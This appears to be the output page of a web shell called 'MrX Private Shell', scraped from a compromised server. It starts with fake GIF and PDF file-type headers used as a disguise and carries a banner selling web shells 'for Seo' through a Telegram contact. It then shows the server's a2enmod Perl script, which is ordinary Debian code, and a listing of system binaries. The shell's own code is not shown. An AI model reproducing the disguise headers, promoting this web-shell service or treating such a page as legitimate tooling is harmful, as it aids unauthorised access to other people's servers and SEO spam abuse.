GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/usr/bin/perl -w
#
# a2enmod by Stefan Fritsch <sf@debian.org>
# Licensed under Apache License 2.0
#
# The coding style is "perltidy -pbp"
use strict;
use Cwd 'realpath';
use File::Spec;
use File::Basename;
use File::Path;
use Getopt::Long;
use 5.014;
no if $] >= 5.017011, warnings => 'experimental::smartmatch';
my $quiet;
my $force;
my $maintmode;
my $purge;
Getopt::Long::Configure('bundling');
GetOptions(
'quiet|q' => \$quiet,
'force|f' => \$force,
'maintmode|m' => \$maintmode,
'purge|p' => \$purge
) or exit 2;
my $basename = basename($0);
$basename =~ /^a2(en|dis)(mod|site|conf)((?:-.+)?)$/
or die "$basename call name unknown\n";
my $act = $1;
my $obj = $2;
my $dir_suffix = $3;
my @essential_module_list = qw(alias auth_basic authn_file authz_host
authz_user autoindex deflate dir env filter logio mime negotiation
setenvif unixd version watchdog);
my $env_file = $ENV{APACHE_ENVVARS};
if (! $env_file) {
if ($ENV{APACHE_CONFDIR}) {
$env_file = "$ENV{APACHE_CONFDIR}/envvars";
}
else {
$env_file = "/etc/apache2$dir_suffix/envvars";
}
}
$ENV{LANG} = 'C';
read_env_file($env_file);
$act .= 'able';
my ( $name, $dir, $sffx, $reload );
if ( $obj eq 'mod' ) {
$obj = 'module';
$dir = 'mods';
$sffx = '.load';
$reload = 'restart';
}
elsif ( $obj eq 'conf' ) {
$obj = 'conf';
$dir = 'conf';
$sffx = '.conf';
$reload = 'reload';
}
else {
$dir = 'sites';
$sffx = '.conf';
$reload = 'reload';
}
$name = ucfirst($obj);
my $confdir = $ENV{APACHE_CONFDIR} || "/etc/apache2$dir_suffix";
my $availdir = $ENV{ uc("APACHE_${dir}_AVAILABLE") }
|| "$confdir/$dir-available";
my $enabldir = $ENV{ uc("APACHE_${dir}_ENABLED") } || "$confdir/$dir-enabled";
my $statedir = $ENV{ uc("APACHE_STATE_DIRECTORY") } || "/var/lib/apache2";
$statedir .= "/$obj";
my $choicedir = $act eq 'enable' ? $availdir : $enabldir;
my $linkdir = File::Spec->abs2rel( $availdir, $enabldir );
my $request_reload = 0;
my $request_htcacheclean;
my $htc = "apache-htcacheclean$dir_suffix";
my $htc_service = "apache-htcacheclean"; # Service name for systemd
my $apache_service = "apache2";
if (defined($dir_suffix) and $dir_suffix ne '') {
# Uses '@instance.service' suffix instead of '-instance' suffix
my $service_suffix = '@' . substr($dir_suffix, 1) . '.service';
$htc_service .= $service_suffix;
$apache_service .= $service_suffix;
}
my $rc = 0;
if ( !scalar @ARGV ) {
my @choices = myglob('*');
print "Your choices are: @choices\n";
print "Which ${obj}(s) do you want to $act (wildcards ok)?\n";
my $input = <>;
@ARGV = split /\s+/, $input;
}
my @objs;
foreach my $arg (@ARGV) {
$arg =~ s/${sffx}$//;
my @glob = myglob($arg);
if ( !@glob ) {
error("No $obj found matching $arg!\n");
$rc = 1;
}
else {
push @objs, @glob;
}
}
foreach my $acton (@objs) {
doit($acton) or $rc = 1;
}
my $htcstart = "";
my $apache_reload = "";
my $cmd = ($act eq "enable") ? "start" : "stop";
if (is_systemd()) {
$htcstart = " systemctl $cmd $htc_service\n";
$apache_reload = " systemctl $reload $apache_service\n";
} else {
$htcstart = " service $htc $cmd\n";
$apache_reload = " service apache2$dir_suffix $reload\n";
}
info( "To activate the new configuration, you need to run:\n"
. $apache_reload
. ($request_htcacheclean ? $htcstart : "")
) if $request_reload;
exit($rc);
##############################################################################
sub myglob {
my $arg = shift;
my @glob = map {
s{^$choicedir/}{};
s{$sffx$}{};
$_
} glob("$choicedir/$arg$sffx");
return @glob;
}
sub doit {
my $acton = shift;
my ( $conftgt, $conflink );
if ( $obj eq 'module' ) {
if ( $act eq 'enable' && $acton eq 'cgi' && threaded() ) {
print
"Your MPM seems to be threaded. Selecting cgid instead of cgi.\n";
$acton = 'cgid';
}
$conftgt = "$availdir/$acton.conf";
if ( -e $conftgt ) {
$conflink = "$enabldir/$acton.conf";
}
}
my $tgt = "$availdir/$acton$sffx";
my $link = "$enabldir/$acton$sffx";
if ( !-e $tgt ) {
if ( -l $link && !-e $link ) {
if ( $act eq 'disable' ) {
info("removing dangling symlink $link\n");
unlink($link);
# force a .conf path. It may exist as dangling link, too
$conflink = "$enabldir/$acton.conf";
if ( -l $conflink && !-e $conflink ) {
info("removing dangling symlink $conflink\n");
unlink($conflink);
}
return 1;
}
else {
error("$link is a dangling symlink!\n");
}
}
if ( $purge ) {
switch_marker( $obj, $act, $acton );
# exit silently, we are purging anyway
return 1;
}
error("$name $acton does not exist!\n");
return 0;
}
# handle module dependencies
if ( $obj eq 'module' ) {
if ( $act eq 'enable' ) {
my @depends = get_deps("$availdir/$acton.load");
do_deps( $acton, @depends ) or return 0;
my @conflicts = get_deps( "$availdir/$acton.load", "Conflicts" );
check_conflicts( $acton, @conflicts ) or return 0;
}
else {
my @depending;
foreach my $d ( glob("$enabldir/*.load") ) {
my @deps = get_deps($d);
if ( is_in( $acton, @deps ) ) {
$d =~ m,/([^/]+).load$,;
push @depending, $1;
}
}
if ( scalar @depending ) {
if ($force) {
do_deps( $acton, @depending ) or return 0;
}
else {
error(
"The following modules depend on $acton ",
"and need to be disabled first: @depending\n"
);
return 0;
}
}
}
}
elsif ( $act eq 'enable' ) {
my @depends = get_deps("$availdir/$acton$sffx");
warn_deps( $acton, @depends ) or return 0;
}
if ( $act eq 'enable' ) {
my $check = check_link( $tgt, $link );
if ( $check eq 'ok' ) {
if ($conflink) {
# handle .conf file
my $confcheck = check_link( $conftgt, $conflink );
if ( $confcheck eq 'ok' ) {
info("$name $acton already enabled\n");
return 1;
}
elsif ( $confcheck eq 'missing' ) {
print "Enabling config file $acton.conf.\n";
add_link( $conftgt, $conflink ) or return 0;
}
else {
error(
"Config file $acton.conf not properly enabled: $confcheck\n"
);
return 0;
}
}
else {
info("$name $acton already enabled\n");
return 1;
}
}
elsif ( $check eq 'missing' ) {
if ($conflink) {
# handle .conf file
my $confcheck = check_link( $conftgt, $conflink );
if ( $confcheck eq 'missing' ) {
add_link( $conftgt, $conflink ) or return 0;
}
elsif ( $confcheck ne 'ok' ) {
error(
"Config file $acton.conf not properly enabled: $confcheck\n"
);
return 0;
}
}
print "Enabling $obj $acton.\n";
special_module_handling($acton);
return add_link( $tgt, $link )
&& switch_marker( $obj, $act, $acton );
}
else {
error("$name $acton not properly enabled: $check\n");
return 0;
}
}
else {
if ( -e $link || -l $link ) {
special_module_handling($acton);
if ($obj eq 'module' && grep {$_ eq $acton} @essential_module_list) {
$force || essential_module_handling($acton);
}
remove_link($link);
if ( $conflink && -e $conflink ) {
remove_link($conflink);
}
switch_marker( $obj, $act, $acton );
print "$name $acton disabled.\n";
}
elsif ( $conflink && -e $conflink ) {
print "Disabling stale config file $acton.conf.\n";
remove_link($conflink);
}
else {
info("$name $acton already disabled\n");
if ( $purge ) {
switch_marker( $obj, $act, $acton );
}
return 1;
}
}
return 1;
}
sub get_deps {
my $file = shift;
my $type = shift || "Depends";
my $fd;
if ( !open( $fd, '<', $file ) ) {
error("Can't open $file: $!");
return;
}
my $line;
while ( defined( $line = <$fd> ) ) {
chomp $line;
if ( $line =~ /^# $type:\s+(.*?)\s*$/ ) {
my $deps = $1;
return split( /[\n\s]+/, $deps );
}
# only check until the first non-empty non-comment line
last if ( $line !~ /^\s*(?:#.*)?$/ );
}
return;
}
sub do_deps {
my $acton = shift;
foreach my $d (@_) {
info("Considering dependency $d for $acton:\n");
if ( !doit($d) ) {
error("Could not $act dependency $d for $acton, aborting\n");
return 0;
}
}
return 1;
}
sub warn_deps {
my $acton = shift;
my $modsenabldir = $ENV{APACHE_MODS_ENABLED} || "$confdir/mods-enabled";
foreach my $d (@_) {
info("Checking dependency $d for $acton:\n");
if ( !-e "$modsenabldir/$d.load" ) {
warning(
"Module $d is not enabled, but $acton depends on it, aborting\n"
);
return 0;
}
}
return 1;
}
sub check_conflicts {
my $acton = shift;
my $haderror = 0;
foreach my $d (@_) {
info("Considering conflict $d for $acton:\n");
my $tgt = "$availdir/$d$sffx";
my $link = "$enabldir/$d$sffx";
my $confcheck = check_link( $tgt, $link );
if ( $confcheck eq 'ok' ) {
error(
"Module $d is enabled - cannot proceed due to conflicts. It needs to be disabled first!\n"
);
# Don't return immediately, there could be several conflicts
$haderror++;
}
}
if ($haderror) {
return 0;
}
return 1;
}
sub add_link {
my ( $tgt, $link ) = @_;
# create relative link
if ( !symlink( File::Spec->abs2rel( $tgt, dirname($link) ), $link ) ) {
die("Could not create $link: $!\n");
}
$request_reload = 1;
return 1;
}
sub check_link {
my ( $tgt, $link ) = @_;
if ( !-e $link ) {
if ( -l $link ) {
# points to nowhere
info("Removing dangling link $link");
unlink($link) or die "Could not remove $link\n";
}
return 'missing';
}
if ( -e $link && !-l $link ) {
return "$link is a real file, not touching it";
}
if ( realpath($link) ne realpath($tgt) ) {
return "$link exists but does not point to $tgt, not touching it";
}
return 'ok';
}
sub remove_link {
my ($link) = @_;
if ( -l $link ) {
unlink($link) or die "Could not remove $link: $!\n";
}
elsif ( -e $link ) {
error("$link is not a symbolic link, not deleting\n");
return 0;
}
$request_reload = 1;
return 1;
}
sub threaded {
my $result = "";
$result = qx{/usr/sbin/apache2ctl -V | grep 'threaded'}
if -x '/usr/sbin/apache2ctl';
if ( $? != 0 ) {
# config doesn't work
if ( -e "$enabldir/mpm_prefork.load" )
{
return 0;
}
elsif (-e "$enabldir/mpm_worker.load"
|| -e "$enabldir/mpm_event.load" )
{
return 1;
}
else {
error("Can't determine enabled MPM");
# do what user requested
return 0;
}
}
if ( $result =~ / no/ ) {
return 0;
}
elsif ( $result =~ / yes/ ) {
return 1;
}
else {
die("Can't parse output from apache2ctl -V:\n$result\n");
}
}
sub info {
print @_ if !$quiet;
}
sub error {
print STDERR 'ERROR: ', @_;
}
sub warning {
print STDERR 'WARNING: ', @_;
}
sub is_in {
my $needle = shift;
foreach my $e (@_) {
return 1 if $needle eq $e;
}
return 0;
}
sub read_env_file {
my $file = shift;
-r $file or return;
my @lines = qx{env - sh -c '. $file && env'};
if ($?) {
die "Could not read $file\n";
}
foreach my $l (@lines) {
chomp $l;
$l =~ /^(.*)?=(.*)$/ or die "Could not parse $file\n";
$ENV{$1} = $2;
}
}
sub switch_marker {
die('usage: switch_marker([module|site|conf], [enable|disable], $name)')
if @_ != 3;
my $which = shift;
my $what = shift;
my $name = shift;
my $mode = "admin";
$mode = "maint" if $maintmode;
#print("switch_marker $which $what $name\n");
# TODO: get rid of the magic string(s)
my $state_marker_dir = "$statedir/$what" . "d" . "_by_$mode";
my $state_marker = "$state_marker_dir/$name";
if ( !-d $state_marker_dir ) {
File::Path::mkpath("$state_marker_dir")
|| error(
"Failed to create marker directory: '$state_marker_dir'\n");
}
# XXX: swap find with perl alternative
my @markers = qx{find "$statedir" -type f -a -name "$name"};
chomp(@markers);
foreach (@markers) {
unless ( unlink $_ ) {
error("Failed to remove old marker '$_'!\n") && return 0;
}
}
unless ($purge) {
qx{touch "$state_marker"};
if ( $? != 0 ) {
error("Failed to create marker '$state_marker'!\n") && return 0;
}
return 1;
}
}
sub essential_module_handling {
my $module = shift;
print "WARNING: The following essential module will be disabled.\n";
print "This might result in unexpected behavior and should NOT be done\n";
print "unless you know exactly what you are doing!\n $module\n\n";
print "To continue type in the phrase 'Yes, do as I say!' or retry by passing '-f': ";
my $input = <STDIN>;
chomp($input);
if ($input ne 'Yes, do as I say!') {
print("Aborting\n");
exit(1)
}
}
sub special_module_handling {
my $acton = shift;
if ($obj ne 'module') {
return;
}
given ($acton) {
when ('ssl') {
if ( $act eq 'enable' ) {
info( "See /usr/share/doc/apache2/README.Debian.gz on "
. "how to configure SSL and create self-signed "
. "certificates.\n"
);
}
}
when ('cache_disk') {
$request_htcacheclean = 1;
my $verb = "\u$act";
my $command;
$verb =~ s/e$/ing/;
if (-d "/run/systemd" and -x "/bin/systemctl") {
info("$verb external service $htc_service\n");
$command = "systemctl $act $htc_service";
} else {
info("$verb external service $htc\n");
$command = "update-rc.d $htc $act";
}
my $res = system($command);
if ($res == 0) {
info("The service will be started on next reboot.\n")
if $act eq 'enable';
}
else {
warning("'$command' failed\n");
}
}
}
}
sub is_systemd
{
my $init = readlink("/proc/1/exe") || "";
return scalar $init =~ /systemd/;
}
# vim: syntax=perl sw=4 sts=4 sr et
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| a2disconf | File | 15.89 KB | 0755 |
|
| a2dismod | File | 15.89 KB | 0755 |
|
| a2dissite | File | 15.89 KB | 0755 |
|
| a2enconf | File | 15.89 KB | 0755 |
|
| a2enmod | File | 15.89 KB | 0755 |
|
| a2ensite | File | 15.89 KB | 0755 |
|
| a2query | File | 9.64 KB | 0755 |
|
| aa-remove-unknown | File | 3 KB | 0755 |
|
| aa-status | File | 62.62 KB | 0755 |
|
| aa-teardown | File | 137 B | 0755 |
|
| accessdb | File | 14.55 KB | 0755 |
|
| add-shell | File | 1.03 KB | 0755 |
|
| addgnupghome | File | 3 KB | 0755 |
|
| addgroup | File | 37.35 KB | 0755 |
|
| adduser | File | 37.35 KB | 0755 |
|
| agetty | File | 55.56 KB | 0755 |
|
| apache2 | File | 740.89 KB | 0755 |
|
| apache2ctl | File | 7.06 KB | 0755 |
|
| apachectl | File | 7.06 KB | 0755 |
|
| apparmor_parser | File | 1.48 MB | 0755 |
|
| apparmor_status | File | 62.62 KB | 0755 |
|
| applygnupgdefaults | File | 2.17 KB | 0755 |
|
| arpd | File | 26.33 KB | 0755 |
|
| arptables | File | 219.04 KB | 0755 |
|
| arptables-nft | File | 219.04 KB | 0755 |
|
| arptables-nft-restore | File | 219.04 KB | 0755 |
|
| arptables-nft-save | File | 219.04 KB | 0755 |
|
| arptables-restore | File | 219.04 KB | 0755 |
|
| arptables-save | File | 219.04 KB | 0755 |
|
| badblocks | File | 34.32 KB | 0755 |
|
| bcache-super-show | File | 14.3 KB | 0755 |
|
| biosdecode | File | 23.2 KB | 0755 |
|
| blkdeactivate | File | 15.97 KB | 0755 |
|
| blkdiscard | File | 22.38 KB | 0755 |
|
| blkid | File | 50.41 KB | 0755 |
|
| blkzone | File | 34.38 KB | 0755 |
|
| blockdev | File | 30.38 KB | 0755 |
|
| bridge | File | 92.49 KB | 0755 |
|
| cache_check | File | 1.33 MB | 0755 |
|
| cache_dump | File | 1.33 MB | 0755 |
|
| cache_metadata_size | File | 1.33 MB | 0755 |
|
| cache_repair | File | 1.33 MB | 0755 |
|
| cache_restore | File | 1.33 MB | 0755 |
|
| cache_writeback | File | 1.33 MB | 0755 |
|
| capsh | File | 30.3 KB | 0755 |
|
| cfdisk | File | 94.73 KB | 0755 |
|
| cgdisk | File | 150.48 KB | 0755 |
|
| chcpu | File | 30.38 KB | 0755 |
|
| check_forensic | File | 952 B | 0755 |
|
| chgpasswd | File | 58.13 KB | 0755 |
|
| chmem | File | 34.38 KB | 0755 |
|
| chpasswd | File | 54.16 KB | 0755 |
|
| chroot | File | 38.51 KB | 0755 |
|
| conntrack | File | 79.24 KB | 0755 |
|
| cpgr | File | 48.29 KB | 0755 |
|
| cppw | File | 48.29 KB | 0755 |
|
| cron | File | 50.58 KB | 0755 |
|
| cryptdisks_start | File | 1.51 KB | 0755 |
|
| cryptdisks_stop | File | 844 B | 0755 |
|
| cryptsetup | File | 169.55 KB | 0755 |
|
| cryptsetup-reencrypt | File | 90.38 KB | 0755 |
|
| cryptsetup-ssh | File | 23.53 KB | 0755 |
|
| ctrlaltdel | File | 14.38 KB | 0755 |
|
| dcb | File | 80.52 KB | 0755 |
|
| debugfs | File | 229.8 KB | 0755 |
|
| delgroup | File | 16.11 KB | 0755 |
|
| deluser | File | 16.11 KB | 0755 |
|
| depmod | File | 166.36 KB | 0755 |
|
| devlink | File | 142.86 KB | 0755 |
|
| dhclient | File | 442.66 KB | 0755 |
|
| dhclient-script | File | 15.92 KB | 0755 |
|
| dmeventd | File | 50.38 KB | 0755 |
|
| dmidecode | File | 122.98 KB | 0755 |
|
| dmsetup | File | 171.02 KB | 0755 |
|
| dmstats | File | 171.02 KB | 0755 |
|
| dosfsck | File | 82.38 KB | 0755 |
|
| dosfslabel | File | 38.38 KB | 0755 |
|
| dpkg-preconfigure | File | 3.58 KB | 0755 |
|
| dpkg-reconfigure | File | 4.38 KB | 0755 |
|
| dumpe2fs | File | 30.31 KB | 0755 |
|
| e2freefrag | File | 14.3 KB | 0755 |
|
| e2fsck | File | 351.84 KB | 0755 |
|
| e2image | File | 42.31 KB | 0755 |
|
| e2label | File | 102.55 KB | 0755 |
|
| e2mmpstatus | File | 30.31 KB | 0755 |
|
| e2scrub | File | 7.13 KB | 0755 |
|
| e2scrub_all | File | 5.27 KB | 0755 |
|
| e2undo | File | 22.3 KB | 0755 |
|
| e4crypt | File | 30.38 KB | 0755 |
|
| e4defrag | File | 30.3 KB | 0755 |
|
| ebtables | File | 219.04 KB | 0755 |
|
| ebtables-nft | File | 219.04 KB | 0755 |
|
| ebtables-nft-restore | File | 219.04 KB | 0755 |
|
| ebtables-nft-save | File | 219.04 KB | 0755 |
|
| ebtables-restore | File | 219.04 KB | 0755 |
|
| ebtables-save | File | 219.04 KB | 0755 |
|
| era_check | File | 1.33 MB | 0755 |
|
| era_dump | File | 1.33 MB | 0755 |
|
| era_invalidate | File | 1.33 MB | 0755 |
|
| era_restore | File | 1.33 MB | 0755 |
|
| ethtool | File | 551.48 KB | 0755 |
|
| faillock | File | 14.15 KB | 0755 |
|
| fatlabel | File | 38.38 KB | 0755 |
|
| fdisk | File | 110.42 KB | 0755 |
|
| filefrag | File | 18.32 KB | 0755 |
|
| findfs | File | 14.38 KB | 0755 |
|
| fixparts | File | 58.48 KB | 0755 |
|
| fsadm | File | 23.94 KB | 0755 |
|
| fsck | File | 42.42 KB | 0755 |
|
| fsck.btrfs | File | 1.16 KB | 0755 |
|
| fsck.cramfs | File | 30.44 KB | 0755 |
|
| fsck.ext2 | File | 351.84 KB | 0755 |
|
| fsck.ext3 | File | 351.84 KB | 0755 |
|
| fsck.ext4 | File | 351.84 KB | 0755 |
|
| fsck.fat | File | 82.38 KB | 0755 |
|
| fsck.minix | File | 54.41 KB | 0755 |
|
| fsck.msdos | File | 82.38 KB | 0755 |
|
| fsck.vfat | File | 82.38 KB | 0755 |
|
| fsck.xfs | File | 1.89 KB | 0755 |
|
| fsfreeze | File | 14.38 KB | 0755 |
|
| fstab-decode | File | 18.3 KB | 0755 |
|
| fstrim | File | 42.38 KB | 0755 |
|
| gdisk | File | 174.48 KB | 0755 |
|
| genl | File | 90.44 KB | 0755 |
|
| getcap | File | 14.3 KB | 0755 |
|
| getpcaps | File | 14.3 KB | 0755 |
|
| getty | File | 55.56 KB | 0755 |
|
| groupadd | File | 66.91 KB | 0755 |
|
| groupdel | File | 62.73 KB | 0755 |
|
| groupmems | File | 54.19 KB | 0755 |
|
| groupmod | File | 66.82 KB | 0755 |
|
| grpck | File | 58.13 KB | 0755 |
|
| grpconv | File | 50.01 KB | 0755 |
|
| grpunconv | File | 50.01 KB | 0755 |
|
| grub-bios-setup | File | 941.42 KB | 0755 |
|
| grub-install | File | 1.15 MB | 0755 |
|
| grub-macbless | File | 929.11 KB | 0755 |
|
| grub-mkconfig | File | 8.6 KB | 0755 |
|
| grub-mkdevicemap | File | 215.7 KB | 0755 |
|
| grub-probe | File | 941.36 KB | 0755 |
|
| grub-reboot | File | 4.73 KB | 0755 |
|
| grub-set-default | File | 3.47 KB | 0755 |
|
| halt | File | 1.06 MB | 0755 |
|
| hdparm | File | 139.43 KB | 0755 |
|
| httxt2dbm | File | 14.3 KB | 0755 |
|
| hwclock | File | 50.5 KB | 0755 |
|
| iconvconfig | File | 30.4 KB | 0755 |
|
| init | File | 1.76 MB | 0755 |
|
| insmod | File | 166.36 KB | 0755 |
|
| installkernel | File | 2.6 KB | 0755 |
|
| integritysetup | File | 54.07 KB | 0755 |
|
| invoke-rc.d | File | 16.12 KB | 0755 |
|
| ip | File | 702.05 KB | 0755 |
|
| ip6tables | File | 219.04 KB | 0755 |
|
| ip6tables-apply | File | 6.89 KB | 0755 |
|
| ip6tables-legacy | File | 96.95 KB | 0755 |
|
| ip6tables-legacy-restore | File | 96.95 KB | 0755 |
|
| ip6tables-legacy-save | File | 96.95 KB | 0755 |
|
| ip6tables-nft | File | 219.04 KB | 0755 |
|
| ip6tables-nft-restore | File | 219.04 KB | 0755 |
|
| ip6tables-nft-save | File | 219.04 KB | 0755 |
|
| ip6tables-restore | File | 219.04 KB | 0755 |
|
| ip6tables-restore-translate | File | 219.04 KB | 0755 |
|
| ip6tables-save | File | 219.04 KB | 0755 |
|
| ip6tables-translate | File | 219.04 KB | 0755 |
|
| iptables | File | 219.04 KB | 0755 |
|
| iptables-apply | File | 6.89 KB | 0755 |
|
| iptables-legacy | File | 96.95 KB | 0755 |
|
| iptables-legacy-restore | File | 96.95 KB | 0755 |
|
| iptables-legacy-save | File | 96.95 KB | 0755 |
|
| iptables-nft | File | 219.04 KB | 0755 |
|
| iptables-nft-restore | File | 219.04 KB | 0755 |
|
| iptables-nft-save | File | 219.04 KB | 0755 |
|
| iptables-restore | File | 219.04 KB | 0755 |
|
| iptables-restore-translate | File | 219.04 KB | 0755 |
|
| iptables-save | File | 219.04 KB | 0755 |
|
| iptables-translate | File | 219.04 KB | 0755 |
|
| irqbalance | File | 66.86 KB | 0755 |
|
| irqbalance-ui | File | 34.38 KB | 0755 |
|
| iscsi-iname | File | 14.3 KB | 0755 |
|
| iscsi_discovery | File | 5.17 KB | 0755 |
|
| iscsiadm | File | 398.46 KB | 0755 |
|
| iscsid | File | 298.55 KB | 0755 |
|
| iscsistart | File | 278.56 KB | 0755 |
|
| isosize | File | 14.38 KB | 0755 |
|
| kbdrate | File | 18.16 KB | 0755 |
|
| killall5 | File | 30.38 KB | 0755 |
|
| kpartx | File | 46.16 KB | 0755 |
|
| ldattach | File | 26.38 KB | 0755 |
|
| ldconfig | File | 387 B | 0755 |
|
| ldconfig.real | File | 1.16 MB | 0755 |
|
| locale-gen | File | 4.29 KB | 0755 |
|
| logrotate | File | 102.24 KB | 0755 |
|
| logsave | File | 14.16 KB | 0755 |
|
| losetup | File | 70.52 KB | 0755 |
|
| lsmod | File | 166.36 KB | 0755 |
|
| luksformat | File | 3.32 KB | 0755 |
|
| lvchange | File | 2.89 MB | 0755 |
|
| lvconvert | File | 2.89 MB | 0755 |
|
| lvcreate | File | 2.89 MB | 0755 |
|
| lvdisplay | File | 2.89 MB | 0755 |
|
| lvextend | File | 2.89 MB | 0755 |
|
| lvm | File | 2.89 MB | 0755 |
|
| lvmconfig | File | 2.89 MB | 0755 |
|
| lvmdiskscan | File | 2.89 MB | 0755 |
|
| lvmdump | File | 10.07 KB | 0755 |
|
| lvmpolld | File | 236.2 KB | 0755 |
|
| lvmsadc | File | 2.89 MB | 0755 |
|
| lvmsar | File | 2.89 MB | 0755 |
|
| lvreduce | File | 2.89 MB | 0755 |
|
| lvremove | File | 2.89 MB | 0755 |
|
| lvrename | File | 2.89 MB | 0755 |
|
| lvresize | File | 2.89 MB | 0755 |
|
| lvs | File | 2.89 MB | 0755 |
|
| lvscan | File | 2.89 MB | 0755 |
|
| make-bcache | File | 22.38 KB | 0755 |
|
| make-ssl-cert | File | 6.65 KB | 0755 |
|
| mariadbd | File | 24.34 MB | 0755 |
|
| mdadm | File | 601.31 KB | 0755 |
|
| mdmon | File | 258.44 KB | 0755 |
|
| mkdosfs | File | 50.83 KB | 0755 |
|
| mke2fs | File | 130.62 KB | 0755 |
|
| mkfs | File | 14.38 KB | 0755 |
|
| mkfs.bfs | File | 22.38 KB | 0755 |
|
| mkfs.btrfs | File | 471.25 KB | 0755 |
|
| mkfs.cramfs | File | 34.32 KB | 0755 |
|
| mkfs.ext2 | File | 130.62 KB | 0755 |
|
| mkfs.ext3 | File | 130.62 KB | 0755 |
|
| mkfs.ext4 | File | 130.62 KB | 0755 |
|
| mkfs.fat | File | 50.83 KB | 0755 |
|
| mkfs.minix | File | 42.39 KB | 0755 |
|
| mkfs.msdos | File | 50.83 KB | 0755 |
|
| mkfs.ntfs | File | 70.38 KB | 0755 |
|
| mkfs.vfat | File | 50.83 KB | 0755 |
|
| mkfs.xfs | File | 382.77 KB | 0755 |
|
| mkhomedir_helper | File | 22.17 KB | 0755 |
|
| mkinitramfs | File | 12.16 KB | 0755 |
|
| mklost+found | File | 14.3 KB | 0755 |
|
| mkntfs | File | 70.38 KB | 0755 |
|
| mkswap | File | 46.38 KB | 0755 |
|
| modinfo | File | 166.36 KB | 0755 |
|
| modprobe | File | 166.36 KB | 0755 |
|
| mount.fuse | File | 18.3 KB | 0755 |
|
| mount.fuse3 | File | 18.3 KB | 0755 |
|
| mount.lowntfs-3g | File | 114.98 KB | 0755 |
|
| mount.ntfs | File | 159.01 KB | 0755 |
|
| mount.ntfs-3g | File | 159.01 KB | 0755 |
|
| mpathpersist | File | 31.05 KB | 0755 |
|
| multipath | File | 34.15 KB | 0755 |
|
| multipathd | File | 134.26 KB | 0755 |
|
| mysqld | File | 24.34 MB | 0755 |
|
| netplan | File | 798 B | 0755 |
|
| newusers | File | 74.73 KB | 0755 |
|
| nfnl_osf | File | 18.3 KB | 0755 |
|
| nft | File | 26.23 KB | 0755 |
|
| nginx | File | 1.18 MB | 0755 |
|
| nologin | File | 14.3 KB | 0755 |
|
| ntfsclone | File | 50.38 KB | 0755 |
|
| ntfscp | File | 34.38 KB | 0755 |
|
| ntfslabel | File | 22.38 KB | 0755 |
|
| ntfsresize | File | 62.39 KB | 0755 |
|
| ntfsundelete | File | 50.38 KB | 0755 |
|
| on_ac_power | File | 3.7 KB | 0755 |
|
| overlayroot-chroot | File | 2.45 KB | 0755 |
|
| ownership | File | 14.45 KB | 0755 |
|
| pam-auth-update | File | 20.5 KB | 0755 |
|
| pam_extrausers_chkpwd | File | 22.15 KB | 2755 |
|
| pam_extrausers_update | File | 30.15 KB | 0755 |
|
| pam_getenv | File | 2.82 KB | 0755 |
|
| pam_timestamp_check | File | 14.15 KB | 0755 |
|
| parted | File | 86.4 KB | 0755 |
|
| partprobe | File | 14.38 KB | 0755 |
|
| pdata_tools | File | 1.33 MB | 0755 |
|
| pg_updatedicts | File | 4.26 KB | 0755 |
|
| php-fpm8.3 | File | 5.5 MB | 0755 |
|
| phpdismod | File | 7.11 KB | 0755 |
|
| phpenmod | File | 7.11 KB | 0755 |
|
| phpquery | File | 6.24 KB | 0755 |
|
| pivot_root | File | 14.38 KB | 0755 |
|
| plymouthd | File | 150.55 KB | 0755 |
|
| poweroff | File | 1.06 MB | 0755 |
|
| pvchange | File | 2.89 MB | 0755 |
|
| pvck | File | 2.89 MB | 0755 |
|
| pvcreate | File | 2.89 MB | 0755 |
|
| pvdisplay | File | 2.89 MB | 0755 |
|
| pvmove | File | 2.89 MB | 0755 |
|
| pvremove | File | 2.89 MB | 0755 |
|
| pvresize | File | 2.89 MB | 0755 |
|
| pvs | File | 2.89 MB | 0755 |
|
| pvscan | File | 2.89 MB | 0755 |
|
| pwck | File | 50.13 KB | 0755 |
|
| pwconv | File | 46.01 KB | 0755 |
|
| pwunconv | File | 42.01 KB | 0755 |
|
| qemu-ga | File | 647.63 KB | 0755 |
|
| readprofile | File | 22.41 KB | 0755 |
|
| reboot | File | 1.06 MB | 0755 |
|
| remove-shell | File | 1.07 KB | 0755 |
|
| resize2fs | File | 66.3 KB | 0755 |
|
| rmmod | File | 166.36 KB | 0755 |
|
| rmt | File | 58.57 KB | 0755 |
|
| rmt-tar | File | 58.57 KB | 0755 |
|
| rsyslogd | File | 767.19 KB | 0755 |
|
| rtacct | File | 28.31 KB | 0755 |
|
| rtcwake | File | 34.38 KB | 0755 |
|
| rtmon | File | 90.39 KB | 0755 |
|
| runlevel | File | 1.06 MB | 0755 |
|
| runuser | File | 54.38 KB | 0755 |
|
| service | File | 8.88 KB | 0755 |
|
| setcap | File | 14.3 KB | 0755 |
|
| setvesablank | File | 14.23 KB | 0755 |
|
| setvtrgb | File | 14.29 KB | 0755 |
|
| sfdisk | File | 102.38 KB | 0755 |
|
| sgdisk | File | 162.48 KB | 0755 |
|
| shadowconfig | File | 885 B | 0755 |
|
| shutdown | File | 1.06 MB | 0755 |
|
| split-logfile | File | 2.36 KB | 0755 |
|
| sshd | File | 899.7 KB | 0755 |
|
| start-stop-daemon | File | 47.35 KB | 0755 |
|
| sudo_logsrvd | File | 200.1 KB | 0755 |
|
| sudo_sendlog | File | 107.34 KB | 0755 |
|
| sulogin | File | 42.38 KB | 0755 |
|
| swaplabel | File | 18.38 KB | 0755 |
|
| swapoff | File | 22.38 KB | 0755 |
|
| swapon | File | 42.38 KB | 0755 |
|
| switch_root | File | 22.38 KB | 0755 |
|
| sysctl | File | 30.23 KB | 0755 |
|
| tarcat | File | 936 B | 0755 |
|
| tc | File | 614.08 KB | 0755 |
|
| telinit | File | 1.06 MB | 0755 |
|
| thin_check | File | 1.33 MB | 0755 |
|
| thin_delta | File | 1.33 MB | 0755 |
|
| thin_dump | File | 1.33 MB | 0755 |
|
| thin_ls | File | 1.33 MB | 0755 |
|
